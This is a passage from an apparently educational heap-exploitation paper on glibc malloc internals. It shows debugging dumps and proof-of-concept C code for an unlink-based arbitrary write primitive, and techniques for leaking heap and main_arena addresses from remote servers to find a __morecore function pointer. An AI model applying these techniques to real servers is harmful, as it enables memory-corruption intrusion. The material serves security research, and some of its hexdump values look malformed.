       continue;
    }
  }
}



static void
#if __STD_C
bin_dump(arena *ar_ptr)
#else
bin_dump(ar_ptr) arena *ar_ptr;
#endif
{
  int i;
  mbinptr b;
  mchunkptr p;

  fprintf(stderr,"\n--- BIN DUMP ---\n");

  (void)mutex_lock(&ar_ptr->mutex);

  fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n",
         ar_ptr,top(ar_ptr),chunksize(top(ar_ptr)));

  for (i = 1; i < NAV; ++i)
  {
    char f = 0;
    b = bin_at(ar_ptr, i);
    for (p = last(b); p != b; p = p->bk)
    {
      if(!f){
         f = 1;
         fprintf(stderr,"   bin %d @ %p\n",i,b);
      }
      fprintf(stderr,"      free_chunk @ %p - size 0x%.4x\n",
             p,chunksize(p));
    }
  (void)mutex_unlock(&ar_ptr->mutex);
  fprintf(stderr,"\n");
}
```

--] 4.2.1 Proof of concept 2: Heap layout debugging

We'll use the following code to show how the debug functions help to analyse the heap layout:

```
#include <malloc.h>
int main(void){
        void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata;
        curly = malloc(256);
        larry = malloc(256);
        moe = malloc(256);
        po = malloc(256);
        lala = malloc(256);
        free(larry);
        free(po);
        tw = malloc(128);
        piniata = malloc(128);
        dipsi = malloc(1500);
        free(dipsi);
        free(lala);
}
```

The sample debugging section helps to understand malloc's basic algorithms and data structures:

```
(gdb) set env LD_PRELOAD ./heapy.so
```

We override the real malloc with our debugging functions, heapy.so also includes the heap layout dumping functions.

```
(gdb) r
Starting program: /home/jp/cerebro/heapy/debugging_sample

4               curly = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    extended top chunk:
        previous size 0x0
        new top 0x80496a0 size 0x961
        returning 0x8049598 from top chunk

(gdb) p heap_dump(0x40018040)

--- HEAP DUMP ---
            ADDRESS   SIZE                FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0961 (T)
sbrk_end  0x804a000

(gdb) p bin_dump(0x40018040)

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960

(gdb) p heap_layout(0x40018040)
```

```
--- HEAP LAYOUT ---
|A||T|
```

The first chunk is allocated, note the difference between the requested size (256 bytes) and the size passed to chunk_alloc(). As there is no chunk, the top needs to be extended and memory is requested to the operating system. More memory than the needed is requested, the remaining space is allocated to the 'top chunk'.
In the heap_dump()'s output the (A) represents an allocated chunk, while the (T) means the chunk is the top one. Note the top chunk's size (0x961) has its last bit set, indicating the previous chunk is allocated:

```
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use
 */

#define PREV_INUSE 0x1UL
```

The bin_dump()'s output shows no bin, as there is no free chunk yet, except from the top. The heap_layout()'s output just shows an allocated chunk next to the top.

```
5               larry = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80496a0 from top chunk
    new top 0x80497a8 size 0x859

--- HEAP DUMP ---
            ADDRESS   SIZE                FD            BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0859 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858

--- HEAP LAYOUT ---
|A||A||T|
```

A new chunk is allocated from the remaining space at the top chunk. The same happens with the next malloc() calls.

```
6               moe = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80497a8 from top chunk
    new top 0x80498b0 size 0x751

--- HEAP DUMP ---
            ADDRESS   SIZE                FD            BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0751 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750

--- HEAP LAYOUT ---
|A||A||A||T|
7               po = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80498b0 from top chunk
    new top 0x80499b8 size 0x649

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0649 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648

--- HEAP LAYOUT ---
|A||A||A||A||T|



8               lala = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80499b8 from top chunk
    new top 0x8049ac0 size 0x541

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540

--- HEAP LAYOUT ---
|A||A||A||A||A||T|



9               free(larry);
[1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0)
    fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
```

```
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||A||A||T|
```

A chunk is freed. The frontlink() macro is called to insert the new free chunk into the corresponding bin:

```
frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd);
```

Note the arena address parameter (ar_ptr) was omitted in the output. In this case, the chunk at 0x80496a0 was inserted in the bin number 33 according to its size. As this chunk is the only one in its bin (we can check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll see later that being lonely makes 'him' dangerous...), its bk and fd pointers are equal and point to the bin number 33. In the heap_layout()'s output, the new free chunk is represented by the number of the bin where it is located.

```
10              free(po);

[1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0)
    fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||33||A||T|
```

Now, we have two free chunks in the bin number 33. We can appreciate now how the double linked list is built. The forward pointer of the chunk at 0x80498b0 points to the other chunk in the list, the backward pointer points to the list head, the bin.
Note that there is no longer a lonely chunk. Also, we can see the difference between a heap address and a libc address (the bin address), 0x080496a0 and 0x40018148 respectively.

```
11              tw = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049728

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049728 - size 0x0080
   bin 33 @ 0x40018148
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||A||L||A||33||A||T|
```

In this case, the requested size for the new allocation is smaller than the size of the available free chunks. So, the first freed buffer is taken from the bin with the unlink() macro and splitted. The first part is allocated, the remaining free space is called the 'last remainder', which is always stored in the first bin, as we can see in the bin_dump()'s output.
In the heap_layout()'s output, the last remainder chunk is represented with a L; in the heap_dump()'s output, (LR) is used.

```
12              piniata = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    clearing last_remainder
    frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder
    unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000
$25 = void

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049938 - size 0x0080
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080


--- HEAP LAYOUT ---
|A||A||16||A||A||L||A||T|
```

As the last_remainder size is not enough for the requested allocation, the last remainder is cleared and inserted as a new free chunk into the corresponding bin. Then, the other free chunk is taken from its bin and split as in the previous step.

```
13              dipsi = malloc(1500);

[1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504)
    clearing last_remainder
    frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder
    extended top chunk:
        previous size 0x540
        new top 0x804a0a0 size 0xf61
        returning 0x8049ac0 from top chunk

--- HEAP DUMP ---
            ADDRESS   SIZE              FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x05e1 (A)
chunk     0x804a0a0 0x0f61 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||A||T|
```

As no available free chunk is enough for the requested allocation size, the top chunk was extended again.

```
14              free(dipsi);

[1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0)
    merging with top
    new top 0x8049ac0

--- HEAP DUMP ---
            ADDRESS   SIZE              FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x1541 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||T|
```

The chunk next to the top chunk is freed, so it gets coalesced with it, and it is not inserted in any bin.

```
15              free(lala);

[1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8)
    unlink(0x8049938,0x400180c0,0x8049728) for back consolidation
    merging with top
    new top 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x16c9 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||T|
```

Again, but this time also the chunk before the freed chunk is coalesced, as it was already free.

--] 4.3 - Layout reset - initial layout prediction - server model

In this section, we analyse how different scenarios may impact on the exploitation process.
In case of servers that get restarted, it may be useful to cause a 'heap reset', which means crashing the process on purpose in order to obtain a clean and known initial heap layout.
The new heap that gets built together with the new restarted process is in its 'initial layout'. This refers to the initial state of the heap after the process initialization, before receiving any input from the user. The initial layout can be easily predicted and used as a the known starting point for the heap layout evolution prediction, instead of using a not virgin layout result of several modifications performed while serving client requests. This initial layout may not vary much across different versions of the targeted server, but in case of major changes in the source code.
One issue very related to the heap layout analysis is the kind of process being exploited.
In case of a process that serves several clients, heap layout evolution prediction is harder, as may be influenced by other clients that may be interacting with our target server while we are trying to exploit it.
However, it gets useful in case where the interaction between the server and the client is very restricted, as it enables the attacker to open multiple connections to affect the same process with different input commands.
On the other hand, exploiting a one client per process server (i.e. a forking server) is easier, as long as we can accurately predict the initial heap layout and we are able to populate the process memory in a fully controlled way.
As it is obvious, a server that does not get restarted, gives us just one shot so, for example, bruteforcing and/or 'heap reset' can't be applied.

--] 4.4 Obtaining information from the remote process

The idea behind the techniques in this section is to force a remote server to give us information to aid us in finding the memory locations needed for exploitation.

This concept was already used as different mechanisms in the 'Bypassing PaX ASLR' paper [13], used to bypass randomized space address processes.

Also, the idea was suggested in [4], as 'transforming a write primitive in a read primitive'.

--] 4.4.1 Modifying server static data - finding process' DATA

This technique was originally seen in wuftpd ˜{ exploits. When the ftpd process receives a 'help' request, answers with all the available commands. These are stored in a table which is part of the process' DATA, being a static structure. The attacker tries to overwrite part of the structure, and using the 'help' command until he sees a change in the server's answer.

Now the attacker knows an absolute address within the process' DATA, being able to predict the location of the process' GOT.

--] 4.4.2 Modifying user input - finding shellcode location

The following technique allows the attacker to find the exact location of the injected shellcode within the process' address space, being independent of the target process.

To obtain the address, the attacker provides the process with some bogus data, which is stored in some part of the process. Then, the basic primitive is used, trying to write 4 bytes in the location the bogus data was previously stored. After this, the server is forced to reply using the supplied bogus data.

If the replayed data differs from the original supplied (taken into account any transformation the server may perform on our input), we can be sure that next time we send the same input sequence to the server, it will be stored in the same place. The server's answer may be truncated if a function expecting NULL terminating strings is used to craft it, or to obtain the answer's length before sending it through the network.

In fact, the provided input may be stored multiple times in different locations, we will only detect a modification when we hit the location where the server reply is crafted.

Note we are able to try two different addresses for each connection, speeding up the bruteforcing mechanism.

The main requirement needed to use this trick, is being able to trigger the aa4bmo primitive between the time the supplied data is stored and the time the server's reply is built. Understanding the process allocation behavior, including how is processed each available input command is needed.

--] 4.4.2.1 Proof of concept 3 : Hitting the output

The following code simulates a process which provides us with a aa4bmo primitive to try to find where a heap allocated output buffer is located:

```
#include <stdio.h>
#define SZ          256
#define SOMEOFFSET  5 + (rand() % (SZ-1))
#define PREV_INUSE  1
#define IS_MMAP     2
#define OUTPUTSZ    1024

void aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ˜IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return;
}

int main(int argc, char **argv){
   long where;
   char *output;
   int contador,i;

   printf("## OUTPUT hide and seek ##\n\n");
   output = (char*)malloc(OUTPUTSZ);
   memset(output,'O',OUTPUTSZ);

   for(contador=1;argv[contador]!=NULL;contador++){
      where = strtol(argv[contador], (char **)NULL, 16);
        printf("[.] trying %p\n",where);

      aa4bmoPrimitive(where,where);

      for(i=0;i<OUTPUTSZ;i++)
         if(output[i] != 'O'){
            printf("(!) you found the output @ %p :(\n",where);
            printf("[%s]\n",output);
            return 0;
         }
      printf("(-) output was not @ %p :P\n",where);
   }
   printf("(x) did not find the output <:|\n");
}
```

```
LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4
0x8049cd8 0x8049cdc 0x80498c8 > output

## OUTPUT hide and seek ##

[.] trying 0x8049ccc
(-) output was not @ 0x8049ccc :P
[.] trying 0x80498b8
(-) output was not @ 0x80498b8 :P
[.] trying 0x8049cd0
(-) output was not @ 0x8049cd0 :P
[.] trying 0x8049cd4
(-) output was not @ 0x8049cd4 :P
[.] trying 0x8049cd8
(-) output was not @ 0x8049cd8 :P
[.] trying 0x8049cdc
(-) output was not @ 0x8049cdc :P
[.] trying 0x80498c8
(!) you found the output @ 0x80498c8 :(
[OOOOOOOO˜X^D^H˜X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
...
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO]
```

Note the stamped output in the following hexdump:

```
...
7920 756f 6620 756f 646e 7420 6568 6f20
7475 7570 2074 2040 7830 3038 3934 6338
2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8   <==
0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f   <==
4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f
4f4f 4f4f 4f4f 0a5d
```

This bruteforcing mechanism is not completely accurate in some cases, for example, when the target server uses an output buffering scheme.

In order to improve the technique, we might mark some part of the supplied data as real shellcode, and other as nops, requiring the nop part to be hit while bruteforcing in order to avoid obtaining an address in the middle of our shellcode. Even better, we could tag each four bytes with a masked offset (i.e. to avoid character \x00 i.e.), when we analyse the reply we will now obtain the expected offset to the shellcode, so being able in a second try to see if actually in that expected address was stored our shellcode, detecting and avoiding this way the risk of our input being split and stored separated in the heap.

For example, in the CVS 'Directory' double free exploit [7], unrecognized commands (i.e. 'cucucucucu') are used to populate the server heap. The server does not answer, just stores the provided data in the heap, and waits, until a noop or a command is received. After that, the unrecognized command that was sent is sent back without any modification to the client. We can provide the server with data almost without any size restriction, this data is stored in the heap, until we force it to be replayed to us. However, analysing how our unrecognized command is stored in the heap we find that, instead of what we expected (a single memory chunk with our data), there are other structures mixted with our input:

```
--- HEAP DUMP ---
            ADDRESS    SIZE               FD           BK
[...]
chunk     0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 |
chunk     0x80e9ff8 0x10008 (A)
chunk     0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 |
chunk     0x80faff8 0x10008 (A)
chunk     0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 |
chunk     0x810bff8 0x10008 (A)
chunk     0x813e000 0x04001 (T)
sbrk_end  0x8142000
```

This happens because error messages are buffered when generated, waiting to be flushed, some buffering state internal structures get allocated, and our data is split and stored in fixed size error buffers.

--] 4.4.3 Modifying user input - finding libc's DATA

In this situation, we are able to provide some input to the vulnerable server which is then sent as output to us again. For example, in the CVS 'Directory' double free() vulnerability, we give the server and invalid command, which is finally echoed back to the client explaining it was an invalid command.
If we are able to force a call to free(), to an address pointing in somewhere in the middle of our provided input, before it is sent back to the client, we will be able to get the address of a main_arena's bin.
The ability to force a free() pointing to our supplied input, depends on the exploitation scenario, being simple to achieve this in 'double-free' situations.
When the server frees our input, it founds a very big sized chunk, so it links it as the first chunk (lonely chunk) of the bin. This depends mainly on the process heap layout, but depending on what we are exploiting it should be easy to predict which size would be needed to create the new free chunk as a lonely one.
When frontlink() setups the new free chunk, it saves the bin address in the fw and bk pointer of the chunk, being this what ables us to obtain later the bin address.
Note we should be careful with our input chunk, in order to avoid the process crashing while freeing our chunk, but this is quite simple in most cases, i.e. providing a known address near the end of the stack.

The user provides as input a 'cushion chunk' to the target process. free() is called in any part of our input, so our especially crafted chunk is inserted in one of the last bins (we may know it's empty from the heap analysis stage, avoiding then a process crash). When the provided cushion chunk is inserted into the bin, the bin's address is written in the fd and bk fields of the chunk's header.

--] 4.4.3.1 Proof of concept 4 : Freeing the output

The following code creates a ’cushion chunk’ as it would be sent to the server, and calls free() at a random location within the chunk (as the target server would do).
The cushion chunk writes to a valid address to avoid crashing the process, and its backward and forward pointer are set with the bin’s address by the frontlink() macro.
Then, the code looks for the wanted addresses within the output, as would do an exploit which received the server answer.

```
#include <stdio.h>
#define SZ           256
#define SOMEOFFSET   5 + (rand() % (SZ-1))
#define PREV_INUSE   1
#define IS_MMAP      2

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   printf ("(-) calling free() at random address of output buffer...\n");
   free(unlinkMe+SOMEOFFSET);
   return unlinkMe;
}

int main(int argc, char **argv){
   unsigned long *output;
   int i;

   printf("## FREEING THE OUTPUT PoC ##\n\n");
   printf("(-) creating output buffer...\n");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4);
   printf("(-) looking for bin address...\n");
   for(i=0;i<SZ-1;i++)
      if(output[i] == output[i+1] &&
       ((output[i] & 0xffff0000) != 0xffff0000)) {
         printf("(!) found bin address -> %p\n",output[i]);
         return 0;
      }
   printf("(x) did not find bin address\n");
}
```

```
./freeOutput

## FREEING THE OUTPUT PoC ##

(-) creating output buffer...
(-) calling free() at random address of output buffer...
(-) looking for bin address...
(!) found bin address -> 0x4212b1dc
```

We get chunk free with our provided buffer:

```
chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221
(gdb) x/20x p
0x8049ab0:      0xfffffd6d      0xfffffd69      0xfffffd65      0xfffffd61
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
```

```
0x8049ae0:      0xffffffd3d     0xffffffd39     0xffffffd35     0xffffffd31
0x8049af0:      0xffffffd2d     0xffffffd29     0xffffffd25     0xffffffd21
(gdb)
0x8049b00:      0xffffffd1d     0xffffffd19     0xffffffd15     0xffffffd11
0x8049b10:      0xffffffd0d     0xffffffd09     0xffffffd05     0xffffffd01
0x8049b20:      0xffffffcfd     0xffffffcf9     0xffffffcf5     0xffffffcf1
0x8049b30:      0xffffffced     0xffffffce9     0xffffffce5     0xffffffce1
0x8049b40:      0xffffffcdd     0xffffffcd9     0xffffffcd5     0xffffffcd1
(gdb)
0x8049b50:      0xffffffccd     0xffffffcc9     0xffffffcc5     0xffffffcc1
0x8049b60:      0xffffffcbd     0xffffffcb9     0xffffffcb5     0xffffffcb1
0x8049b70:      0xffffffcad     0xffffffca9     0xffffffca5     0xffffffca1
0x8049b80:      0xffffffc9d     0xffffffc99     0xffffffc95     0xffffffc91
0x8049b90:      0xffffffc8d     0xffffffc89     0xffffffc85     0xffffffc81
(gdb)
```

```
3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);
3239      if (next == top(ar_ptr)) /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))  /* consolidate backward */
3294      if (!(inuse_bit_at_offset(next, nextsz)))
            /* consolidate forward */
3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);
```

After the frontlink() macro is called with our supplied buffer, it gets the address of the bin in which it is inserted:

```
fronlink(0x8049ab0,-668,126,0x40018430,0x40018430) new free chunk

(gdb) x/20x p

0x8049ab0:      0xffffffd6d     0xffffffd65     0x40018430      0x40018430
0x8049ac0:      0xffffffd5d     0xffffffd59     0xffffffd55     0xffffffd51
0x8049ad0:      0xffffffd4d     0xffffffd49     0xffffffd45     0xffffffd41
0x8049ae0:      0xffffffd3d     0xffffffd39     0xffffffd35     0xffffffd31
0x8049af0:      0xffffffd2d     0xffffffd29     0xffffffd25     0xffffffd21

(gdb) c
Continuing.
(-) looking for bin address...
(!) found bin address -> 0x40018430
```

Let’s check the address we obtained:

```
(gdb) x/20x 0x40018430
0x40018430 <main_arena+1008>:   0x40018428      0x40018428      0x08049ab0
0x08049ab0
0x40018440 <main_arena+1024>:   0x40018438      0x40018438      0x40018040
0x000007f0
0x40018450 <main_arena+1040>:   0x00000001      0x00000000      0x00000001
0x0000016a
0x40018460 <__FRAME_END__+12>:  0x0000000c      0x00001238      0x0000000d
0x0000423c
0x40018470 <__FRAME_END__+28>:  0x00000004      0x00000094      0x00000005
0x4001370c
```

And we see it’s one of the last bins of the main_arena.

Although in this example we hit the cushion chunk in the first try on purpose, this technique can be applied to brute force the location of our output buffer also at the same time (if we don’t know it beforehand).

--] 4.4.4 Vulnerability based heap memory leak - finding libc's data

In this case, the vulnerability itself leads to leaking process memory. For example, in the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' vulnerability [6], the attacker is able to overflow a buffer and overwrite a variable used to track a buffer length.
When this length is overwritten with a length greater than the original, the process sends the content of the buffer (stored in the process' heap) to the client, sending more information than the originally stored. The attacker obtains then a limited portion of the process heap.

--] 4.5 Abusing the leaked information

The goal of the techniques in this section is to exploit the information gathered using one of the process information leak tricks shown before.

--] 4.5.1 Recognizing the arena

The idea is to get from the previously gathered information, the address of a malloc's bin. This applies mainly to scenarios were we are able to leak process heap memory. A bin address can be directly obtained if the attacker is able to use the 'freeing the output' technique.
The obtained bin address can be used later to find the address of a function pointer to overwrite with the address of our shellcode, as shown in the next techniques.

Remembering how the bins are organized in memory (circular double linked lists), we know that a chunk hanging from any bin containing just one chunk will have both pointers (bk and fd) pointing to the head of the list, to the same address, since the list is circular.

```
   [bin_n]          (first chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                           [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
   [bin_n+1]        (last chunk)


     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    lonely but interesting chunk
      ptr] ---->  [<-  bk
     .
     .
```

This is really nice, as it allows us to recognize within the heap which address is pointing to a bin, located in libc's space address more exactly, to some place in the main_arena as this head of the bin list is located in the main_arena.

Then, we can look for two equal memory addresses, one next to the other, pointing to libc's memory (looking for addresses of the form 0x4....... is enough for our purpose). We can suppose these pairs of addresses we found are part of a free chunk which is the only one hanging of a bin, we know it looks like...

```
   size | fd | bk
```

How easy is to find a lonely chunk in the heap immensity?
First, this depends on the exploitation scenario and the exploited process heap layout. For example, when exploiting the OpenSSL bug along different

targets, we could always find at least a lonely chunk within the leaked heap memory.

Second, there is another scenario in which we will be able to locate a malloc bin, even without the capability to find a lonely chunk. If we are able to find the first or last chunk of a bin, one of its pointers will reference an address within main_arena, while the other one will point to another free chunk in the process heap. So, we'll be looking for pairs of valid pointers like these:

```
   [ ptr_2_libc's_memory | ptr_2_process'_heap ]

   or

   [ ptr_2_process'_heap | ptr_2_libc's_memory ]
```

We must take into account that this heuristic will not be as accurate as searching for a pair of equal pointers to libc's space address, but as we already said, it's possible to cross-check between multiple possible chunks.

Finally, we must remember this depends totally on the way we are abusing the process to read its memory. In case we can read arbitrary addresses of memory, this is not an issue, the problem gets harder as more limited is our mechanism to retrieve remote memory.

--] 4.5.2 Morecore

Here, we show how to find a function pointer within the libc after obtaining a malloc bin address, using one of the before explained mechanisms.

Using the size field of the retrieved chunk header and the bin_index() or smallbin_index() macro we obtain the exact address of the main_arena. We can cross check between multiple supposed lonely chunks that the main_arena address we obtained is the real one, depending on the quantity of lonely chunks pairs we'll be more sure. As long as the process doesn't crash, we may retrieve heap memory several times, as main_arena won't change its location. Moreover, I think it wouldn't be wrong to assume main_arena is located in the same address across different processes (this depends on the address on which the libc is mapped). This may even be true across different servers processes, allowing us to retrieve the main_arena through a leak in a process different from the one being actively exploited.

Just 32 bytes before &main_arena[0] is located __morecore.

```
Void_t *(*__morecore)() = __default_morecore;
```

MORECORE() is the name of the function that is called through malloc code in order to obtain more memory from the operating system, it defaults to sbrk().

```
Void_t * __default_morecore ();
Void_t *(*__morecore)() = __default_morecore;
#define MORECORE (*__morecore)
```

The following disassembly shows how MORECORE is called from chunk_alloc() code, an indirect call to __default_morecore is performed by default:

```
